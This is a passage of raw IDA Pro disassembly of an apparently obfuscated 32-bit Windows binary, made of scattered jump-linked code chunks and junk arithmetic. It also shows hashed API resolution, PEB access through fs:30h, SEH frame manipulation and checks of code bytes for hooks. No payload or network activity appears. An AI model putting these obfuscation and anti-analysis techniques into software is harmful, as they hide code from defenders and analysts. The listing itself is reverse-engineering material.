sub_423A2A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D950 loc_42713A: ; CODE XREF: sub_42D950:loc_425E7Bj call sub_42C677 loc_42713F: ; CODE XREF: sub_427802+657Dj jmp sub_42B14D ; END OF FUNCTION CHUNK FOR sub_42D950 ; --------------------------------------------------------------------------- dword_427144 dd 0 ; DATA XREF: _0182ofla:00429297w ; sub_42CCE0r ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EA15 loc_427148: ; CODE XREF: sub_42EA15-5DA3j jmp loc_42DFE7 ; END OF FUNCTION CHUNK FOR sub_42EA15 ; --------------------------------------------------------------------------- db 0DAh, 15h, 0F3h dword_427150 dd 0 ; DATA XREF: _0182ofla:00426336w ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4231F3 loc_427154: ; CODE XREF: sub_4231F3+B6A6j jmp nullsub_200 ; END OF FUNCTION CHUNK FOR sub_4231F3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425C89 loc_427159: ; CODE XREF: sub_425C89+8774j jmp loc_4278B2 ; END OF FUNCTION CHUNK FOR sub_425C89 ; --------------------------------------------------------------------------- dw 0B791h dd 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426571 loc_427164: ; CODE XREF: sub_426571-2B9Aj jmp loc_42CB85 ; END OF FUNCTION CHUNK FOR sub_426571 ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_4272D1 ; --------------------------------------------------------------------------- and esi, ebp jmp sub_4253F4 ; --------------------------------------------------------------------------- loc_427178: ; DATA XREF: sub_42CB00+20A1o add eax, 0FC0FB2E6h xchg eax, [esp] jmp loc_429F0C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4278DB loc_427186: ; CODE XREF: sub_4278DB:loc_4278E0j mov ecx, 0A998AE61h popf jle loc_4291DC jmp loc_4297F8 ; END OF FUNCTION CHUNK FOR sub_4278DB ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_90. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E9A5 loc_427198: ; CODE XREF: sub_42E9A5-69B9j jmp loc_42813D ; END OF FUNCTION CHUNK FOR sub_42E9A5 ; =============== S U B R O U T I N E ======================================= sub_42719D proc near ; CODE XREF: _0182ofla:0042902Dj ; sub_42D056+3CAp arg_C = dword ptr 10h ; FUNCTION CHUNK AT 00425D46 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427D77 SIZE 00000012 BYTES xchg edx, [esp+0] pop edx push edx xchg ecx, edx mov ecx, [esp+arg_C] jmp loc_425D46 sub_42719D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4271AD proc near ; CODE XREF: sub_423FCD+6p ; sub_424184+2104j ; FUNCTION CHUNK AT 0042CC8B SIZE 0000000E BYTES mov [esp+0], edi pop edi mov eax, ds:dword_42577C loc_4271B7: ; CODE XREF: _0182ofla:loc_4282B2j or eax, eax jnz loc_42C895 push 0 jmp loc_42CC8B sub_4271AD endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_4271C6: ; CODE XREF: _0182ofla:0042635Fj jnz loc_4296A6 jmp loc_42D0D0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_127. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_4271D2 proc near ; CODE XREF: sub_42798F-429Bp ; _0182ofla:0042586Fp ... ; FUNCTION CHUNK AT 0042505E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042588B SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00429213 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00429C31 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0042A11B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A701 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042B56A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042B696 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042C695 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042C6DB SIZE 0000000A BYTES jb loc_42589C push ebp mov ebp, esp push ecx mov esp, ebp pop ebp jmp loc_429213 sub_4271D2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- pop eax pop eax push eax push 0FFFFFFFFh push eax jmp loc_42A104 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42660C loc_4271EF: ; CODE XREF: sub_42660C+12A1j js loc_429002 ror ebx, 0Eh test ebp, eax jmp loc_425F33 ; END OF FUNCTION CHUNK FOR sub_42660C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4253F4 loc_4271FF: ; CODE XREF: sub_4253F4:loc_42C6C7j or edx, 0C7EBF499h jmp loc_42B6A2 ; END OF FUNCTION CHUNK FOR sub_4253F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4242FD loc_42720A: ; CODE XREF: sub_4242FD+5347j jge loc_42E1FF ; END OF FUNCTION CHUNK FOR sub_4242FD ; START OF FUNCTION CHUNK FOR sub_42D15D loc_427210: ; CODE XREF: sub_42D15D+Cj jmp loc_429533 ; END OF FUNCTION CHUNK FOR sub_42D15D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A420 loc_427215: ; CODE XREF: sub_42A420+10j jmp loc_424202 ; END OF FUNCTION CHUNK FOR sub_42A420 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_42721A: ; CODE XREF: sub_42798F+1107j jmp sub_42E97E ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- popf jmp loc_42E1FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E79C loc_427225: ; CODE XREF: sub_42E79C+16j add esi, 110673D7h mov [esi], eax pop esi retn ; END OF FUNCTION CHUNK FOR sub_42E79C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425C89 loc_42722F: ; CODE XREF: sub_425C89+1C32j rol eax, 0Bh push eax retn ; END OF FUNCTION CHUNK FOR sub_425C89 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4232CD loc_427234: ; CODE XREF: sub_4232CD+Cj jmp nullsub_222 ; END OF FUNCTION CHUNK FOR sub_4232CD ; =============== S U B R O U T I N E ======================================= sub_427239 proc near ; CODE XREF: sub_425063-9E8p ; sub_4286E4+4p ... var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004245D8 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 00424671 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00424D64 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00424F8C SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00426F1D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427540 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042AC19 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0042C5DA SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042C794 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0042E60A SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0042E697 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042EBF0 SIZE 0000000E BYTES jnb sub_4249FA jmp loc_424D64 sub_427239 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_427244: ; CODE XREF: _0182ofla:00423032j push ebp ; START OF FUNCTION CHUNK FOR sub_42B15E loc_427245: ; CODE XREF: sub_42B15E-8139j add eax, 7249D4CCh add eax, ebp add eax, 8E91348Dh jmp loc_426C9D ; END OF FUNCTION CHUNK FOR sub_42B15E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_212. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427259 proc near ; CODE XREF: sub_42D056+DD5p ; sub_426B01:loc_42E07Aj ; FUNCTION CHUNK AT 00423FBC SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00426872 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00426C49 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 004273CA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004276FE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428662 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428A9B SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0042AE74 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042C3A9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042C3E3 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0042C69A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042CBC3 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042D081 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042DD3B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042ECE1 SIZE 00000008 BYTES push ebp mov ebp, esp push ecx mov esp, ebp jmp loc_4276FE sub_427259 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42340D loc_427264: ; CODE XREF: sub_42340D+1CA8j jz loc_42620C ; END OF FUNCTION CHUNK FOR sub_42340D ; START OF FUNCTION CHUNK FOR sub_428D63 loc_42726A: ; CODE XREF: sub_428D63:loc_42420Dj jmp loc_42525F ; END OF FUNCTION CHUNK FOR sub_428D63 ; --------------------------------------------------------------------------- loc_42726F: ; CODE XREF: _0182ofla:loc_42CB7Bj jnz loc_426C49 pushf add esi, 0FD2FDCCh jmp loc_426C40 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427797 loc_427281: ; CODE XREF: sub_427797:loc_426662j push offset loc_423592 jmp locret_427BB1 ; END OF FUNCTION CHUNK FOR sub_427797 ; --------------------------------------------------------------------------- loc_42728B: ; CODE XREF: _0182ofla:loc_426D4Dj call sub_42D8EA ; START OF FUNCTION CHUNK FOR sub_4295D6 loc_427290: ; CODE XREF: sub_4295D6:loc_42A3BDj mov ds:dword_424BEC, eax retn ; END OF FUNCTION CHUNK FOR sub_4295D6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A2FA loc_427297: ; CODE XREF: sub_42A2FA+13j jmp loc_42A84B ; END OF FUNCTION CHUNK FOR sub_42A2FA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4295D6 loc_42729C: ; CODE XREF: sub_4295D6-4602j ; sub_428110+6j call sub_42566E ; END OF FUNCTION CHUNK FOR sub_4295D6 ; START OF FUNCTION CHUNK FOR sub_42CCE0 loc_4272A1: ; CODE XREF: sub_42CCE0+Ej jmp loc_4261E7 ; END OF FUNCTION CHUNK FOR sub_42CCE0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427CDE loc_4272A6: ; CODE XREF: sub_427CDE:loc_427CF5j jmp loc_42EC76 ; END OF FUNCTION CHUNK FOR sub_427CDE ; --------------------------------------------------------------------------- loc_4272AB: ; CODE XREF: _0182ofla:0042B3F3j mov edx, [ebp+8] call sub_42945B loc_4272B3: ; CODE XREF: _0182ofla:00423501j jmp locret_426712 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_44. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427CD0 loc_4272B9: ; CODE XREF: sub_427CD0+3217j jmp nullsub_185 ; END OF FUNCTION CHUNK FOR sub_427CD0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42537E loc_4272BE: ; CODE XREF: sub_42537E:loc_42E853j jg loc_4240E3 adc ecx, ebp cmp ebp, 6A4760DBh jmp loc_42EC48 ; END OF FUNCTION CHUNK FOR sub_42537E ; --------------------------------------------------------------------------- loc_4272D1: ; CODE XREF: _0182ofla:0042716Cj push ebx push ecx push edx push eax jo loc_42435D sub ebx, eax jmp loc_4236D0 ; --------------------------------------------------------------------------- loc_4272E2: ; CODE XREF: _0182ofla:00423E2Dj xor eax, edx ; =============== S U B R O U T I N E ======================================= sub_4272E4 proc near ; CODE XREF: sub_42469C+5p ; FUNCTION CHUNK AT 004277F5 SIZE 00000005 BYTES mov [esp+0], eax pop eax pop ebp jmp loc_4277F5 sub_4272E4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42493A loc_4272EE: ; CODE XREF: sub_42493A+5CEEj jnb loc_4236F0 ; END OF FUNCTION CHUNK FOR sub_42493A ; =============== S U B R O U T I N E ======================================= sub_4272F4 proc near ; CODE XREF: sub_429B69:loc_423B8Ej var_20 = dword ptr -20h ; FUNCTION CHUNK AT 0042B298 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042CE0F SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0042DDC3 SIZE 0000000C BYTES push ebp push esi push edi push ebx push ecx mov eax, esp push 0 jmp loc_42B298 sub_4272F4 endp ; --------------------------------------------------------------------------- xchg ecx, [edi] jmp sub_42CEA4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_427309: ; CODE XREF: sub_42798F:loc_426BA4j jnz loc_42B461 jmp loc_42701B ; END OF FUNCTION CHUNK FOR sub_42798F ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_78. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4298DD loc_427315: ; CODE XREF: sub_4298DD+591j jnp loc_426B53 loc_42731B: ; CODE XREF: sub_4298DD:loc_4251D8j xor edi, 6723FB87h add edi, 4067C069h xchg edi, [esp+0] jmp sub_428D17 ; END OF FUNCTION CHUNK FOR sub_4298DD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D833 loc_42732F: ; CODE XREF: sub_42D833+Cj pop ebp mov eax, ds:dword_42D124 or eax, eax jnz loc_42DB9C jmp loc_42ED2E ; END OF FUNCTION CHUNK FOR sub_42D833 ; --------------------------------------------------------------------------- shl edi, 17h ror esi, 1Eh jmp sub_42D056 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423861 loc_42734E: ; CODE XREF: sub_423861:loc_424666j cmp al, 0C2h jz loc_42A2ED mov eax, [ebp+var_4] loc_427359: ; CODE XREF: _0182ofla:0042C9B3j mov ax, [eax] and ax, 38FFh cmp ax, 20FFh jz loc_42A2ED jmp loc_42E04A ; END OF FUNCTION CHUNK FOR sub_423861 ; --------------------------------------------------------------------------- loc_42736F: ; CODE XREF: _0182ofla:loc_42AA8Bj ror eax, 1 mov edi, ebp jmp loc_423E55 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42660C loc_427378: ; CODE XREF: sub_42660C+1813j call sub_424CE4 loc_42737D: ; CODE XREF: sub_42B5C2:loc_42CECFj lea eax, loc_42A116 push eax push 0 push 0 call sub_4258B7 jmp loc_42B767 ; END OF FUNCTION CHUNK FOR sub_42660C ; --------------------------------------------------------------------------- loc_427392: ; DATA XREF: sub_4238F9+Ao xor edx, edx push edx push eax mov eax, [ebp-18h] shl eax, 2 cdq jmp loc_4230DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D9A4 loc_4273A2: ; CODE XREF: sub_42D9A4:loc_429798j jnz loc_42CB8C jmp loc_42B4F9 ; END OF FUNCTION CHUNK FOR sub_42D9A4 ; =============== S U B R O U T I N E ======================================= sub_4273AD proc near ; DATA XREF: _0182ofla:0042E341o ; FUNCTION CHUNK AT 0042DF23 SIZE 00000002 BYTES push eax and edx, ecx jo loc_42DF23 add eax, edx mov eax, 1B078F84h cmp edx, ecx call sub_42E1DA sub_4273AD endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_14. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D8EA loc_4273C5: ; CODE XREF: sub_42D8EA+Ej jmp loc_42C5AF ; END OF FUNCTION CHUNK FOR sub_42D8EA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427259 loc_4273CA: ; CODE XREF: sub_427259-604j jmp loc_42C69A ; END OF FUNCTION CHUNK FOR sub_427259 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4267F8 loc_4273CF: ; CODE XREF: sub_4267F8+74DBj mov [ebp-0Bh], al xor eax, eax mov al, [ebp-0Bh] mov ecx, 8 loc_4273DC: ; CODE XREF: sub_42E6BF-13CCj sub ecx, eax jmp loc_424DDD ; END OF FUNCTION CHUNK FOR sub_4267F8 ; --------------------------------------------------------------------------- not ebx add esi, ecx jmp sub_42D19B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AAE0 loc_4273EC: ; CODE XREF: sub_42AAE0:loc_42AAF1j call nullsub_9 call sub_428D17 mov edx, 0CF0182F6h call sub_42B097 mov ds:dword_427A44, eax ; END OF FUNCTION CHUNK FOR sub_42AAE0 ; START OF FUNCTION CHUNK FOR sub_42AAD2 loc_427405: ; CODE XREF: sub_42AAE0+Bj ; sub_42AAD2:loc_42ADF3j ... mov eax, ds:dword_427A44 jmp loc_42AF45 ; END OF FUNCTION CHUNK FOR sub_42AAD2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42537E loc_42740F: ; CODE XREF: sub_42537E:loc_42C9FDj jnz loc_42814B jmp loc_42A2AC ; END OF FUNCTION CHUNK FOR sub_42537E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425499 loc_42741A: ; CODE XREF: sub_425499:loc_42DE64j push 0 push 0 lea eax, [ebp-4] push eax jmp loc_4259D4 ; END OF FUNCTION CHUNK FOR sub_425499 ; --------------------------------------------------------------------------- shr ebp, 17h jmp sub_42E1DA ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_131. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425AB1 loc_427430: ; CODE XREF: sub_425AB1+12j jmp loc_42A029 ; END OF FUNCTION CHUNK FOR sub_425AB1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424498 loc_427435: ; CODE XREF: sub_424498+13j jmp loc_427111 ; END OF FUNCTION CHUNK FOR sub_424498 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423461 loc_42743A: ; CODE XREF: sub_423461+9j ; _0182ofla:loc_42384Bj ... pop large dword ptr fs:0 add esp, 4 retn ; END OF FUNCTION CHUNK FOR sub_423461 ; =============== S U B R O U T I N E ======================================= sub_427445 proc near ; CODE XREF: sub_42D15D:loc_423EA4p ; sub_42D15D+6p var_8 = dword ptr -8 ; FUNCTION CHUNK AT 00423DA9 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00425569 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00426B1E SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00427536 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427FBE SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0042898A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429FC3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042B470 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042B7E2 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0042C131 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0042D137 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0042D760 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042ED54 SIZE 0000001F BYTES push large dword ptr fs:0 mov large fs:0, esp loc_427453: ; CODE XREF: _0182ofla:00429C5Dj mov eax, large fs:30h jmp loc_423DA9 sub_427445 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42745F proc near ; DATA XREF: sub_4231D5+6C48o mov ds:dword_42B8EC, eax retn sub_42745F endp ; --------------------------------------------------------------------------- loc_427465: ; CODE XREF: _0182ofla:0042750Ej mov edx, 0A22F8A70h call sub_42B097 push offset sub_42B07D jmp locret_42D3BE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428D63 loc_427479: ; CODE XREF: sub_428D63-2DF6j jnz loc_42ABE9 jmp loc_42A17C ; END OF FUNCTION CHUNK FOR sub_428D63 ; --------------------------------------------------------------------------- loc_427484: ; CODE XREF: _0182ofla:0042706Dj or esi, 5BAFB8FDh xchg ecx, ebx jmp loc_42590E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426455 loc_427491: ; CODE XREF: sub_426455:loc_425B91j push offset loc_42EBFE jmp nullsub_33 ; END OF FUNCTION CHUNK FOR sub_426455 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B15E loc_42749B: ; CODE XREF: sub_42B15E-434Ej jz loc_42353F cmp ebx, edi jmp loc_4290D4 ; END OF FUNCTION CHUNK FOR sub_42B15E ; --------------------------------------------------------------------------- rol ebx, 1Eh jmp sub_4280B6 ; --------------------------------------------------------------------------- loc_4274B0: ; DATA XREF: sub_427762+647Do push 3E7C3FEAh pop eax push offset loc_42D485 jmp locret_42862E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424707 loc_4274C0: ; CODE XREF: sub_424707:loc_429B1Ej xor ebp, ebx sub eax, 600FC43Ch loc_4274C8: ; DATA XREF: sub_424E6E+4D14o pop dword ptr fs:0 xchg eax, [esp+0] pop eax cmp ecx, edx pop ecx xchg ecx, [esp-8+arg_4] jmp loc_423A1D ; END OF FUNCTION CHUNK FOR sub_424707 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428718 loc_4274DD: ; CODE XREF: sub_428718:loc_42EA8Ej push eax ; END OF FUNCTION CHUNK FOR sub_428718 ; START OF FUNCTION CHUNK FOR sub_42E395 loc_4274DE: ; CODE XREF: sub_42E395-4780j call sub_4230AC ; END OF FUNCTION CHUNK FOR sub_42E395 ; START OF FUNCTION CHUNK FOR sub_42798F loc_4274E3: ; CODE XREF: sub_42798F+3B35j jmp nullsub_86 ; --------------------------------------------------------------------------- loc_4274E8: ; CODE XREF: sub_42798F+D50j jmp loc_425C94 ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42771F loc_4274ED: ; CODE XREF: sub_42771F+Cj jmp nullsub_228 ; END OF FUNCTION CHUNK FOR sub_42771F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4253F4 loc_4274F2: ; CODE XREF: sub_4253F4+464Bj adc ecx, eax loc_4274F4: ; CODE XREF: _0182ofla:loc_42911Fj call sub_42EA15 push offset sub_425629 jmp nullsub_168 ; END OF FUNCTION CHUNK FOR sub_4253F4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_427503 proc near ; CODE XREF: sub_426240+7988j retn sub_427503 endp ; --------------------------------------------------------------------------- loc_427504: ; CODE XREF: _0182ofla:0042965Aj jmp loc_423997 ; --------------------------------------------------------------------------- loc_427509: ; CODE XREF: _0182ofla:loc_428820j call sub_428D17 jo loc_427465 mov edx, 0A22F8A70h call sub_42B097 mov ds:dword_42A398, eax jmp loc_42C5BB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428AC9 loc_427528: ; CODE XREF: sub_428AC9:loc_4264B3j popf xchg eax, [esp-4+arg_0] push 10h mov eax, [ebp-8] call sub_428AB5 ; END OF FUNCTION CHUNK FOR sub_428AC9 ; START OF FUNCTION CHUNK FOR sub_427445 loc_427536: ; CODE XREF: sub_427445+5D05j jmp loc_42ED54 ; END OF FUNCTION CHUNK FOR sub_427445 ; --------------------------------------------------------------------------- loc_42753B: ; CODE XREF: _0182ofla:00426FEEj jmp sub_4278DB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427239 loc_427540: ; CODE XREF: sub_427239+5570j pop edi sub edi, 1A2BD1F4h jnb loc_424F8C ; END OF FUNCTION CHUNK FOR sub_427239 ; START OF FUNCTION CHUNK FOR sub_425629 loc_42754D: ; CODE XREF: sub_425629+5743j jmp sub_42D1AE ; END OF FUNCTION CHUNK FOR sub_425629 ; --------------------------------------------------------------------------- ror eax, 7 jmp loc_42DCBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425B6E loc_42755A: ; CODE XREF: sub_425B6E-2840j rol eax, 7 jb loc_424CC5 loc_427563: ; CODE XREF: sub_42E282+12j jmp loc_42B83D ; END OF FUNCTION CHUNK FOR sub_425B6E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428D63 loc_427568: ; CODE XREF: sub_428D63-9AEj jmp loc_42C50A ; END OF FUNCTION CHUNK FOR sub_428D63 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_42756D: ; CODE XREF: sub_42798F-1143j jmp nullsub_110 ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E689 loc_427572: ; CODE XREF: sub_42E689-8F82j jmp loc_4282D6 ; END OF FUNCTION CHUNK FOR sub_42E689 ; --------------------------------------------------------------------------- and esi, edi jmp loc_424CC4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425B6E loc_42757E: ; CODE XREF: sub_425B6E:loc_428825j xchg eax, ebp push ebp xchg eax, ebp loc_427583: ; CODE XREF: sub_42AAF8-4F8Fj call sub_42DBF0 push edi push 8B81933h jmp loc_4242E7 ; END OF FUNCTION CHUNK FOR sub_425B6E ; =============== S U B R O U T I N E ======================================= sub_427593 proc near ; DATA XREF: _0182ofla:00428C0Eo push offset loc_42C4FC jmp nullsub_237 sub_427593 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_22. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426319 loc_42759E: ; CODE XREF: sub_426319+88A6j jmp loc_4284CB ; END OF FUNCTION CHUNK FOR sub_426319 ; =============== S U B R O U T I N E ======================================= sub_4275A3 proc near ; DATA XREF: sub_427445+43AAo xchg ecx, [esp+0] jmp sub_428D17 sub_4275A3 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42537E loc_4275AB: ; CODE XREF: sub_42537E:loc_426A3Ej add eax, 0DD457BB0h loc_4275B1: ; CODE XREF: _0182ofla:004248A3j add eax, ebp call sub_42B860 ; END OF FUNCTION CHUNK FOR sub_42537E ; START OF FUNCTION CHUNK FOR sub_42DC1F loc_4275B8: ; CODE XREF: sub_42DC1F+3j jmp loc_4279C3 ; END OF FUNCTION CHUNK FOR sub_42DC1F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42966F loc_4275BD: ; CODE XREF: sub_42966F-2C7Cj jmp loc_4252F6 ; END OF FUNCTION CHUNK FOR sub_42966F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42945B loc_4275C2: ; CODE XREF: sub_42945B-2D8Fj jmp nullsub_231 ; END OF FUNCTION CHUNK FOR sub_42945B ; --------------------------------------------------------------------------- or ebp, 75AC3BCDh jb loc_42DE9E jmp sub_42A241 ; --------------------------------------------------------------------------- mov edx, 0BE8CE1B7h call sub_42D935 ; START OF FUNCTION CHUNK FOR sub_425DA5 loc_4275E2: ; CODE XREF: sub_425DA5+57F7j test al, al jz loc_42A1B0 jmp loc_4248F3 ; END OF FUNCTION CHUNK FOR sub_425DA5 ; --------------------------------------------------------------------------- locret_4275EF: ; CODE XREF: _0182ofla:loc_424B47j retn ; --------------------------------------------------------------------------- locret_4275F0: ; CODE XREF: _0182ofla:loc_42E4BDj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429BEC loc_4275F1: ; CODE XREF: sub_429BEC+1Cj jmp loc_42A125 ; END OF FUNCTION CHUNK FOR sub_429BEC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42662C loc_4275F6: ; CODE XREF: sub_42662C-3F1j add esi, 0E8731D3Bh mov [esi], eax pop esi cmp dword ptr [ebp-4], 0 jz loc_423F31 mov eax, [ebp-4] jmp loc_42CD04 ; END OF FUNCTION CHUNK FOR sub_42662C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4291BA loc_427611: ; CODE XREF: sub_4291BA-441Dj adc edx, 66915718h pushf loc_427618: ; DATA XREF: sub_42E689-639Do pop dword ptr fs:0 xchg eax, [esp+0] pop eax jmp loc_4237F9 ; END OF FUNCTION CHUNK FOR sub_4291BA ; --------------------------------------------------------------------------- loc_427627: ; CODE XREF: _0182ofla:00428309j jle loc_42DC40 ; =============== S U B R O U T I N E ======================================= sub_42762D proc near ; CODE XREF: _0182ofla:004285C9p mov [esp+0], edi pop edi call sub_42D71D push ebp mov [esp+0], eax sub_42762D endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_423FCD loc_42763A: ; CODE XREF: sub_423FCD:loc_42D42Aj ror eax, 9 push esi jmp loc_423198 ; END OF FUNCTION CHUNK FOR sub_423FCD ; --------------------------------------------------------------------------- loc_427643: ; DATA XREF: sub_42D1AE+4o mov esp, ebp pop ebp mov eax, dword ptr ds:loc_426FAC or eax, eax jnz loc_42B450 call sub_428D17 mov edx, 95918C9Dh jmp loc_42AC7F ; --------------------------------------------------------------------------- 